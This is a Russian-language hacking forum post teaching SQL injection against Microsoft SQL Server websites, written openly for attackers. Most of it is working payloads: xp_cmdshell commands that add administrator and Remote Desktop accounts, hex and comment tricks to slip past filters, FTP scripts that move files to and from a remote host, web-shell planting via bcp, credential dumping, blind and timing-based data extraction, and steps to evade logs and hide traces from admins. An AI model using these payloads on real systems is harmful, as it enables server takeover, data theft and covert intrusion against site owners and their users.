Показать сообщение отдельно

Tsql, разделяй и властвуй.
  #32  
Старый 09.12.2007, 12:31
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
С нами: 10459106

Репутация: 2996


Exclamation Tsql, разделяй и властвуй.

TSQL, разделяй и властвуй.

Автор : [cash]
Дата : 07.10.2007
Продукт: TSQL



Интро.

Начнем с того, что язык TSQL разработан компанией microsoft для продуктов MSSQL Server и Microsoft Access и др. Самой вкусной частью этого языка являются хранимые процедуры, о которых мы и поговорим сегодня. Сразу хочу сказать, что стандартные запросы к базе данных рассматриваться не будут.

Взлом, хранимые процедуры, функции.

1)Хранимые процедуры.
И так начнем. После нахождения инъекции первое что мы делаем определяем юзера под которым запущенна база, для удачного проведения атаки нам необходимы права системного администратора sa или же юзера обладающего его правами. Нашей конечной целью будет получение шелла и слив базы данных. Рассмотрим процедуры, которые будут нам полезны.

xp_fixeddrives - вывод существующих логических разделов жесткого диска, например.

Код:
C 11155
D 1882
E 135140
xp_subdirs "c:\" – Аналог dir.
xp_create_subdir "c:\aaa" – cоздание папки.
sp_addlogin 'user', 'pass' – Добавление юзера базы данных.
sp_addsrvrolemember 'user', 'sysadmin' – Присвоение юзеру админских привилегий.
xp_regwrite – Запись в реестр.
xp_cmdshell – Исполнение команд.
Остановимся на последнем. Исполнение команд, что же еще может быть лучше этого… есть 1 недостаток у нас нету вывода. Ну начнем с самого распространенного способа добавление юзера на ремот декспот не буду останавливаться на этом и как то комментировать.

Код:
index.asp?id=1;exec master..xp_cmdshell 'net user user pass /add'-- 
index.asp?id=1;exec master..xp_cmdshell 'net localgroup administrators user /add'
index.asp?id=1;exec master..xp_cmdshell 'net localgroup "Remote Desktop Users" user /add'
И сразу поговорим о фильтрации.
1) ‘‘ Можно обходить [].
2) Посылать запрос в 0x[HEX], как это сделать.

Код:
declare @q varchar(8000) select @q=0x[HEX] exec(@q)

Создаем и исполняем свою переменную. При этом надо помнить что в екзек мы должны вставить имя процедуры а не просто команду.

2)К базе на прямую.
Способ который может нам помочь. Как правило удаленный коннект юзера sa запрещен поэтому мы добавим своего юзера и законнектимся удаленно к серверу, если открыт 1433 порт. Сделаем мы это используя sp_addlogin и sp_addsrvrolemember, описанных выше, а далее мы можем слить базу и исполнять команды уже с выводом.

3)Сценарии.
И самое запись в файлы. Нам нужно найти папку для записи и попробовать записать туда файл. Файл мы будем записывать echo. И так что мы можем сделать используя эту великолепную функцию. Рассмотрим такой листинг.

Код:
echo user '$user' '$passwd' > '$file'
echo type binary >> '$file'
echo get '$download' >> '$file'
echo put '$upload' >> '$file'
echo quit >> '$file'

ftp -n '$ip' < ./'$file'
del '$file'
Исполнив этот набор команд мы можем загружать и скачивать файлы, так же что бы осмотреться на сервере можно использовать tree C:\. Так же можно загрузить netcat и запустить бекконнект. Зная путь до веб директории мы можем прям туда загрузить шелл.

4)bcp
bcp Является стандартной утилитой для дампа базы данных и имеет следующий синтаксис:

Код:
bcp "SELECT * FROM db..table" queryout c:\inetpub\dump -c –S[server] –U[user] –P[pass]
Узнать имя сервера мы можем по переменной @@SERVERNAME, а юзера и пароль мы можем добавить сами. Далее просто слить дамп себе на ftp. Второе применение bcp это заливка шелла. И так по порядочку, создаем табличку с будущим кодом.
Код:
;create table shell (code varchar(8000))--
далее инсертим в табличку.
Код:
;insert into shell (code) set values (‘|code|’)
далее записываем код из таблички в файл.

Код:
bcp "SELECT code FROM shell" queryout c:\www\shell.asp -c –S[server] –U[user] –P[pass]
5) Правда или ложь или посимвольный перебор глобально.
Не возможность вывести данные это лишь маленькая преграда мы всегда сможем составить запрос который давал нам ответ TRUE or FALSE или же 1 и 0, рассмотрим на примере.

Код:
if ((select system_user) = 'sa' OR (select system_user) = 'test') select 1 else select 1/0

DECLARE @q int; EXEC @q = xp_cmdshell 'dir *.exe';IF (@q = 0) SELECT 0 ELSE SELECT 1/0
6) sp_password или без палева.
Вообщем если добавить к запросу в конце --sp_password то ошибки ошибки не будут логироваться в системных журналах SQL Server, но не в журналах IIS или др веб сервера логии будут писаться лично я не понимаю как это фишка пашет но в документации написано что 100% работает, пример
Код:
1=@@version--sp_password
Как правило, использование POST в GET инъекциях не особо часто пашет из-за четко политики ASP как языка, но при возможности использования
7) Читаем файлы.
Для начала создадим таблицу file с полем text
Код:
;create table file(text varchar(8000))--
далее запишем туда файл используя конструкцию bulk insert

Код:
bulk insert file from 'c:\boot.ini '
и прочтем собственно

Код:
select top 1 text from file
Удалим дабы не спалили админы

Код:
;drop table file
8) Объединение данных в базе в одну таблицу.
Что бы не мучаться с выводом большого количества инфы, можно просто объединить их в одну табличку и посмотреть все разом, вообще очень полезная фишка при сливе базы через инъекцию. Для начала нам надо создать таблицу назовем ее tmpusers c одной единственной колонкой dump, так же предполагается что у нас есть табличка users с полями id, usr, pwd. Пример

Код:
;begin declare @dump varchar(8000) set @dump =':' select @dump=@dump+' '+usr+'|'+pwd from users where username>@dump select @dump as ret into tmpusers end--
Хочу обратить внимание что +' '+ и др. соединяющие конструкция типа cast(usr+as+nvarchar)+':'+cast(pwd+as+nvarchar) стоит заменять URL кодировкой %2b%27%3a%27%2b.
Далее нам надо сделать запрос select к тому что мы создали.

Код:
select top 1 dump from tmpusers
И дропнуть табличку.

Код:
;drop table tmpusers
9) Полезные таблицы.
master..sysservers – Серверы слинкованные с данные(для применения атак ROWSET)
Системные юзеры.
SQL Server 2000: masters..sysxlogins
SQL Server 2005 : sys..sql_logins


3) Посимвольный перебор.
Далеко не во всех случаях при инъекции выводиться ошибка при подстановке кавычки, что делать в это случае определить юзера не составит труда, но что делать если у нас не превилегированный юзер, а кто отменял substring() в mssql синтаксис у нас будет следующий

Код:
1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 table_name FROM dbo1.user WHERE id=1 AND name NOT IN(SELECT TOP 0 name FROM dbo1.user WHERE id=1)),1,1)),0)>1--
В ответ мы получим либо истинный либо ложный ответ. Рассмотрим еще один способ у него есть аналог в mysql и называется он BENCHMARK(). Основная его идея в отлике сервера при исолнении запроса. WAITFOR DELAY() и имеет синтаксис

Код:
WAITFOR DELAY '00:00:00'--
Использывать мы будем его так же с оператором IF вот собственно пример

Код:
if (select system_user) = 'sa' waitfor delay '0:0:25'
Не забываем что время на исполнение у сервера, как правило 30 секунд поэтому 20-25 оптимально.

4)Фильтрация.
Сегодня мы уже затрагивали тему фильтрации но заострим на этом внимание. Первое что стоит попробовать фильтруется ли запрос как в GET так и в POST или же наоборот. Далее фильтрация по маске на пример exec или же select для того что бы обойти данный вид фильтрации нам надо иметь и представлять какие комментарии есть в данном языке и так:


‘#’ - конец строки
‘--‘ - конец строки
‘/*’ ‘*\’ – строчные комментарии.
; - разделение запросов (может быть гораздо больше 1)

То есть для того, что бы нам разделить фильтруеещееся по маске слово внутрь него мы вставим строчный комментарий и закроем его, например

Код:
E/*comment*/X/*comment*/E/*comment*/C
Так же надо помнить что есть альтернативы многим запросам, а на фильтр как правило стоят только основные функции, конструкции.

Название баз данных и, например данных для инсерта мы можем кодировать 2 способами:
1)Многосимвольно 0x[HEX]
2) Односимвольно char(0x[HEX])+char(0x[HEX])+char(0x[HEX])+char(0x[HEX])+char(0x[HEX])


5)ROWSET или еще 1 косяк Microsoft.

На эту тему написана отличная статья на русском языке на securitylab.ru так что дублировать что либо я не вижу смысла и так что читаем.


[ cash ] Hack-Shop.Org.Ru (c)